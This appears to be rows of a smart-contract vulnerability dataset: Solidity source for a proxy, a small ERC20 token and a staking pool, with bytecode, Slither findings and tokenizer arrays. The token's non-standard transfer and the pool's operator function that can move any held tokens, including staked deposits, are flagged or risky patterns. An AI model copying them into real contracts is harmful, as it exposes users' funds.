constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | 0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220107963e54271d068c4dae867bc8e0a86b4cfdc5e4721d5490968debe8af8868864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2692,
2497,
2620,
2683,
2063,
2581,
2620,
2063,
2683,
2575,
2050,
2509,
2497,
2575,
23499,
23352,
2546,
2549,
10354,
9468,
2575,
2581,
2581,
22025,
2575,
2487,
2063,
18139,
22394,
2629,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
1013,
1030,
2516,
1024,
2720,
1012,
13435,
1013,
1013,
1013,
1030,
3166,
1024,
19726,
1012,
1060,
2100,
2480,
12324,
1000,
1012,
1013,
9413,
2278,
2581,
17465,
16748,
8844,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,540 | 0x9550E05CDF0e3776eEA6fDBce4DC4E1570dF5F2b | pragma solidity ^0.4.18;
contract BossContract {
string public name = "Boss";
string public symbol = "BOSS";
uint8 public decimals = 8;
uint256 public initialSupply = 200000000;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function BossContract() public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
} | 0x6060604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017357806323b872dd14610198578063313ce567146101c0578063378dc3dc146101e957806342966c68146101fc57806370a082311461021257806395d89b4114610231578063a9059cbb14610244578063dd62ed3e14610268575b600080fd5b34156100be57600080fd5b6100c661028d565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101025780820151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014857600080fd5b61015f600160a060020a036004351660243561032b565b604051901515815260200160405180910390f35b341561017e57600080fd5b61018661035b565b60405190815260200160405180910390f35b34156101a357600080fd5b61015f600160a060020a0360043581169060243516604435610361565b34156101cb57600080fd5b6101d36103ab565b60405160ff909116815260200160405180910390f35b34156101f457600080fd5b6101866103b4565b341561020757600080fd5b61015f6004356103ba565b341561021d57600080fd5b610186600160a060020a0360043516610445565b341561023c57600080fd5b6100c6610457565b341561024f57600080fd5b610266600160a060020a03600435166024356104c2565b005b341561027357600080fd5b610186600160a060020a03600435811690602435166104d1565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103235780601f106102f857610100808354040283529160200191610323565b820191906000526020600020905b81548152906001019060200180831161030657829003601f168201915b505050505081565b600160a060020a033381166000908152600660209081526040808320938616835292905220819055600192915050565b60045481565b600160a060020a0380841660009081526006602090815260408083203390941683529290529081205482111561039657600080fd5b6103a18484846104ee565b5060019392505050565b60025460ff1681565b60035481565b600160a060020a033316600090815260056020526040812054829010156103e057600080fd5b600160a060020a03331660008181526005602052604090819020805485900390556004805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60056020526000908152604090205481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103235780601f106102f857610100808354040283529160200191610323565b6104cd3383836104ee565b5050565b600660209081526000928352604080842090915290825290205481565b6000600160a060020a038316151561050557600080fd5b600160a060020a0384166000908152600560205260409020548290101561052b57600080fd5b600160a060020a0383166000908152600560205260409020548281011161055157600080fd5b50600160a060020a0380831660008181526005602052604080822080549488168084528284208054888103909155938590528154870190915591909301927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3600160a060020a038084166000908152600560205260408082205492871682529020540181146105ee57fe5b505050505600a165627a7a72305820df6c68e9a6c3503f8233fc741063b856c24d394b72ed0466149790bee21f65500029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
24087,
2692,
2063,
2692,
2629,
19797,
2546,
2692,
2063,
24434,
2581,
2575,
4402,
2050,
2575,
2546,
18939,
3401,
2549,
16409,
2549,
2063,
16068,
19841,
20952,
2629,
2546,
2475,
2497,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
3206,
5795,
8663,
6494,
6593,
1063,
5164,
2270,
2171,
1027,
1000,
5795,
1000,
1025,
5164,
2270,
6454,
1027,
1000,
5795,
1000,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
1022,
1025,
21318,
3372,
17788,
2575,
2270,
20381,
6279,
22086,
1027,
2456,
8889,
8889,
2692,
1025,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,541 | 0x9551e5528f7D191Eb6ee45bCE4c455C2C238C9c2 | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface IBoardroom {
function allocateSeigniorage(uint256 amount) external;
function stakeShareForThirdParty(address staker, address from, uint256 amount) external;
function stakeControlForThirdParty(address staker, address from, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
import '@openzeppelin/contracts/access/Ownable.sol';
abstract contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function notifyRewardAmount(uint256 reward) external virtual;
modifier onlyRewardDistribution() {
require(
_msgSender() == rewardDistribution,
'Caller is not reward distribution'
);
_;
}
function setRewardDistribution(address _rewardDistribution)
external
virtual
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
pragma solidity ^0.7.0;
/**
*Submitted for verification at Etherscan.io on 2020-07-17
*/
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: KBTCRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
// File: @openzeppelin/contracts/math/Math.sol
import '@openzeppelin/contracts/math/Math.sol';
// File: @openzeppelin/contracts/math/SafeMath.sol
import '@openzeppelin/contracts/math/SafeMath.sol';
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
// File: @openzeppelin/contracts/utils/Address.sol
import '@openzeppelin/contracts/utils/Address.sol';
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
// File: contracts/IRewardDistributionRecipient.sol
import './interfaces/IBasisAsset.sol';
import './interfaces/IRewardDistributionRecipient.sol';
import './interfaces/IBoardroom.sol';
import './utils/Operator.sol';
contract BASv2Wrapper is Operator {
using SafeMath for uint256;
using SafeERC20 for IERC20;
//0x106538cc16f938776c7c180186975bca23875287
IERC20 public BASv2;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
BASv2.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
BASv2.safeTransfer(msg.sender, amount);
}
}
contract shortStakeBASv2Pool is BASv2Wrapper, IRewardDistributionRecipient {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public LIFT;
address public boardroom;
uint256 public DURATION = 10 days;
uint256 public starttime;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint256) public deposits;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
constructor(
address _LIFT,
address _BASv2,
address _boardroom,
uint256 _starttime
) public {
LIFT = IERC20(_LIFT);
BASv2 = IERC20(_BASv2);
boardroom = _boardroom;
starttime = _starttime;
}
modifier checkStart() {
require(block.timestamp >= starttime, 'shortStakeBASv2Pool: not started');
_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount)
public
override
updateReward(msg.sender)
checkStart
{
require(amount > 0, 'shortStakeBASv2Pool: Cannot stake 0');
uint256 newDeposit = deposits[msg.sender].add(amount);
deposits[msg.sender] = newDeposit;
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount)
public
override
updateReward(msg.sender)
checkStart
{
require(amount > 0, 'shortStakeBASv2Pool: Cannot withdraw 0');
deposits[msg.sender] = deposits[msg.sender].sub(amount);
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
stakeInBoardroom();
}
function stakeInBoardroom() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
IERC20(LIFT).approve(boardroom, reward);
IBoardroom(boardroom).stakeShareForThirdParty(msg.sender, address(this), reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint256 reward)
external
override
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp > starttime) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
} else {
rewardRate = reward.div(DURATION);
lastUpdateTime = starttime;
periodFinish = starttime.add(DURATION);
emit RewardAdded(reward);
}
}
//EVERY PROJECT I HAVE SEEN HAS A NEED TO NUKE THEIR LP AT SOME POINT
function burnRewards() external onlyOwner
{
IBasisAsset(address(LIFT)).burn(IERC20(LIFT).balanceOf(address(this)));
}
// If anyone sends tokens directly to the contract we can refund them.
function cleanUpDust(uint256 amount, address tokenAddress, address sendTo) onlyOperator public {
IERC20(tokenAddress).safeTransfer(sendTo, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
import '@openzeppelin/contracts/GSN/Context.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(
address indexed previousOperator,
address indexed newOperator
);
constructor() {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(
_operator == msg.sender,
'operator: caller is not the operator'
);
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(
newOperator_ != address(0),
'operator: zero address given for new operator'
);
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
